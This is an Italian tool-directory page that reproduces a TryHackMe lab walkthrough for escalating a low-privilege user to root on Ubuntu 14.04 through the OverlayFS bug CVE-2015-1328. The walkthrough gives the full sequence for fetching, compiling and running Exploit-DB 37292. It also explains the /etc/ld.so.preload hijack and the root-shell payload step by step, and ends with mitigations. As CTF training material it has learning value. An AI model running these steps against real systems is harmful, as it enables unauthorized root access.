Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2015-1328 — Procedura passo-passo per sfruttare CVE-2015-1328 (OverlayFS) per elevare i privilegi da un utente a bassi privilegi a root su Ubuntu 14.04. Include enumerazione, compilazione dell'exploit ed esecuzione. | Kitploit
Strumenti/GitHubGitHub/fernandocassiodev/cve-2015-1328
Escalation di PrivilegiExploitCTFApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHubfernandocassiodev/cve-2015-1328

CVE-2015-1328

Procedura passo-passo per sfruttare CVE-2015-1328 (OverlayFS) per elevare i privilegi da un utente a bassi privilegi a root su Ubuntu 14.04. Include enumerazione, compilazione dell'exploit ed esecuzione.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
21 mese faNon ancora revisionato

CVE-2015-1328

Procedura TryHackMe – Escalation dei privilegi del kernel Linux (CVE-2015-1328)

Obiettivo

L'obiettivo di questa procedura era quello di elevare i privilegi da un utente con privilegi limitati (karen) a root sfruttando un kernel Linux vulnerabile.


Step 1 – Enumerazione iniziale

Dopo essermi collegato alla macchina target tramite SSH:

root@kitploit:~
ssh karen@<target-ip>

Ho identificato la versione del kernel Linux:

root@kitploit:~
uname -r

Output:

root@kitploit:~
3.13.0-24-generic

La macchina eseguiva Ubuntu 14.04 con il kernel 3.13.0-24-generic.


Step 2 – Ricerca di vulnerabilità del kernel

Poiché l'escalation dei privilegi su Linux spesso si basa su kernel vulnerabili, ho cercato su Exploit-DB utilizzando SearchSploit:

root@kitploit:~
searchsploit overlayfs ubuntu 3.13

Risultato:

root@kitploit:~
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c

Questo exploit prende di mira CVE-2015-1328, che colpisce i kernel Ubuntu precedenti alle versioni patchate.


Step 3 – Comprendere la vulnerabilità

Prima di eseguire qualsiasi exploit, è importante capire cosa fa.

L'exploit sfrutta un difetto in OverlayFS, il filesystem union di Linux.

La vulnerabilità esiste perché OverlayFS gestisce in modo errato i permessi dei file quando viene montato all'interno di un user namespace (CLONE_NEWUSER).

Un utente senza privilegi può manipolare OverlayFS per creare o modificare file che dovrebbero essere scrivibili solo da root.

L'exploit alla fine scrive in:

root@kitploit:~
/etc/ld.so.preload

Questo file indica al dynamic loader di Linux di caricare una libreria condivisa prima di ogni eseguibile a collegamento dinamico.

Forzando il sistema a caricare una libreria condivisa dannosa, l'exploit ottiene l'esecuzione di codice come root.


Step 4 – Ottenere l'exploit

Utilizzando SearchSploit:

root@kitploit:~
searchsploit -m 37292

Questo ha copiato l'exploit localmente:

root@kitploit:~
37292.c

L'exploit è stato poi trasferito sulla macchina vittima.

In questa procedura, è stato salvato come:

root@kitploit:~
/tmp/ofs.c

Step 5 – Compilare l'exploit

Spostarsi nella directory che contiene l'exploit:

root@kitploit:~
cd /tmp

Compilarlo usando GCC:

root@kitploit:~
gcc ofs.c -o ofs

Se la compilazione riesce, GCC non produce alcun output.

Verificare che l'eseguibile esista:

root@kitploit:~
ls -l

Atteso:

root@kitploit:~
-rwxr-xr-x ... ofs

Step 6 – Eseguire l'exploit

Eseguire l'eseguibile:

root@kitploit:~
./ofs

L'exploit stampa messaggi simili a:

root@kitploit:~
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library

Infine, genera una shell di root:

root@kitploit:~
#

Verificare i privilegi:

root@kitploit:~
id

Output:

root@kitploit:~
uid=0(root) gid=0(root)

Step 7 – Recuperare la flag

Con i privilegi di root ottenuti:

root@kitploit:~
cat /home/matt/flag1.txt

Il file ora può essere letto correttamente.


Come funziona l'exploit

L'exploit esegue diverse azioni internamente.

1. Crea un User Namespace

root@kitploit:~
unshare(CLONE_NEWUSER);

Gli user namespace di Linux consentono a un processo senza privilegi di apparire come root all'interno del namespace, senza esserlo sull'host.

Questa capacità è essenziale per l'attacco.


2. Crea un Mount Namespace

root@kitploit:~
clone(... CLONE_NEWNS ...)

Un mount namespace separato isola le modifiche al filesystem dal resto del sistema operativo.

Ciò consente all'exploit di montare OverlayFS senza influenzare il filesystem globale.


3. Monta OverlayFS

L'exploit crea directory temporanee:

root@kitploit:~
/tmp/ns_sploit/
├── upper/
├── work/
└── o/

Quindi monta OverlayFS:

root@kitploit:~
Lower Layer
      │
      ▼
OverlayFS
      │
      ▼
Upper Layer

A causa della vulnerabilità nel kernel, OverlayFS consente erroneamente operazioni che dovrebbero richiedere privilegi di root.


4. Crea /etc/ld.so.preload

L'exploit rinomina un file scrivibile all'interno del mount OverlayFS in:

root@kitploit:~
ld.so.preload

Dopo aver rimontato OverlayFS su /etc, questo file diventa:

root@kitploit:~
/etc/ld.so.preload

Normalmente, solo root dovrebbe essere in grado di creare questo file.


5. Costruisce una libreria condivisa dannosa

L'exploit scrive un file sorgente C:

root@kitploit:~
/tmp/ofs-lib.c

Poi lo compila:

root@kitploit:~
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c

La libreria condivisa risultante sovrascrive la funzione getuid().


6. Dirotta il Dynamic Loader

L'exploit scrive:

root@kitploit:~
/tmp/ofs-lib.so

in:

root@kitploit:~
/etc/ld.so.preload

Ogni eseguibile a collegamento dinamico ora carica questa libreria dannosa prima di qualsiasi libreria di sistema.


7. Esegue /bin/su

Infine:

root@kitploit:~
execl("/bin/su", "su", NULL);

Quando su si avvia, la funzione getuid() dannosa viene eseguita al posto di quella originale.

La libreria:

  • rimuove /etc/ld.so.preload
  • elimina la libreria condivisa dannosa
  • chiama:
root@kitploit:~
setresuid(0,0,0);
setresgid(0,0,0);
  • lancia:
root@kitploit:~
/bin/sh

Il risultato è una shell di root interattiva.


Perché funziona

La vulnerabilità è causata da una gestione errata dei permessi in OverlayFS quando viene utilizzato all'interno di user namespace.

Un utente senza privilegi può manipolare OverlayFS per creare file privilegiati come ad esempio:

root@kitploit:~
/etc/ld.so.preload

Poiché il dynamic loader si fida di questo file, il codice arbitrario viene eseguito come root.


Mitigazione

Questa vulnerabilità è stata risolta da Ubuntu nelle versioni successive del kernel.

Le strategie di mitigazione includono:

  • Aggiornare il kernel Linux a una versione con patch.
  • Disabilitare gli user namespace senza privilegi quando non sono necessari.
  • Limitare l'utilizzo di OverlayFS.
  • Applicare regolarmente gli aggiornamenti di sicurezza.
  • Monitorare le modifiche non autorizzate a:
    • /etc/ld.so.preload
    • /etc/ld.so.cache

Punti chiave

  • Enumera sempre la versione del kernel durante l'escalation dei privilegi su Linux.
  • Verifica se la versione del kernel è vulnerabile prima di tentare lo sfruttamento.
  • Leggi e comprendi il codice dell'exploit prima di eseguirlo.
  • Gli exploit del kernel possono portare direttamente ai privilegi di root, ma possono anche far crashare il sistema target.
  • Nei test di penetrazione reali, lo sfruttamento del kernel dovrebbe essere tentato solo quando esplicitamente autorizzato, a causa del potenziale impatto sulla stabilità del sistema.

Comandi utilizzati

root@kitploit:~
# Enumerate kernel version
uname -r

# Search for exploit
searchsploit overlayfs ubuntu 3.13

# Copy exploit locally
searchsploit -m 37292

# Compile exploit
gcc ofs.c -o ofs

# Execute exploit
./ofs

# Verify privileges
id

# Read flag
cat /home/matt/flag1.txt
Scarica lo strumento